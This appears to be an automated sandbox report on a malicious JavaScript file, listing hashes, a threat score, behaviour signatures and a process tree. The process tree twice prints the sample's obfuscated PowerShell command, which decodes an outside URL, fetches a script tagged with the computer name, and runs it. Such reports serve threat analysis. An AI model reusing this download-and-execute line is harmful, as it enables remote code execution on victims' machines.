Overview

overview

10

Static

static

1

J8gmXUSj7_...(1).js

windows7-x64

10

J8gmXUSj7_...(1).js

windows10-2004-x64

10

Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/06/2023, 02:59

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General

  • Target

    J8gmXUSj7_2HLWs-DaS4AQthdK9XtiVOpOk1-jesjso (1).js

  • Size

    545KB

  • MD5

    b57237e6c58f3379064faee9872944f9

  • SHA1

    ce5c4c75016462a25e6c957c0f22b894735307ff

  • SHA256

    27c8265d44a3efed872d6b3f0da4b8010b6174af57b6254ea4e935fe37ac8eca

  • SHA512

    b4cf742d2db86c9c84924c1a07187cbfd8647c65d32d1e95c8a852f454350817f1419157d32f354693018b73f7ce79837cad33926da5ee1eff2a15b1d6c71603

  • SSDEEP

    3072:+DLBe09yExnnN4hKOTNit3EB1mTQrkavRI+OEgIaVw969Zuc9zZySNUP4MMw4JLL:Wmn5lk6ed

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\J8gmXUSj7_2HLWs-DaS4AQthdK9XtiVOpOk1-jesjso (1).js"
    1⤵
      PID:2320
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(2164,2176,2176,2172,2118,2107,2107,2175,2162,2182,2165,2159,2106,2176,2171,2172,2107,2174,2176,2106,2172,2164,2172,2123,2165,2121)|foreach{$qobygu=$qobygu+[char]($_-2060)};$aokhbw='l';new-alias dgsr cur$aokhbw;.$([char](7892-7787)+'ex')(dgsr -useb "$qobygu$(Get-Content env:COMPUTERNAME)")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(2164,2176,2176,2172,2118,2107,2107,2175,2162,2182,2165,2159,2106,2176,2171,2172,2107,2174,2176,2106,2172,2164,2172,2123,2165,2121)|foreach{$qobygu=$qobygu+[char]($_-2060)};$aokhbw='l';new-alias dgsr cur$aokhbw;.$([char](7892-7787)+'ex')(dgsr -useb "$qobygu$(Get-Content env:COMPUTERNAME))"
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1764

    Network

          MITRE ATT&CK Matrix

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ym1dz1bn.du0.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • memory/1764-133-0x00000189AF230000-0x00000189AF240000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1764-134-0x00000189B12E0000-0x00000189B1302000-memory.dmp

            Filesize

            136KB

            Download

          • memory/1764-144-0x00000189AF230000-0x00000189AF240000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1764-145-0x00000189AF230000-0x00000189AF240000-memory.dmp

            Filesize

            64KB

            Download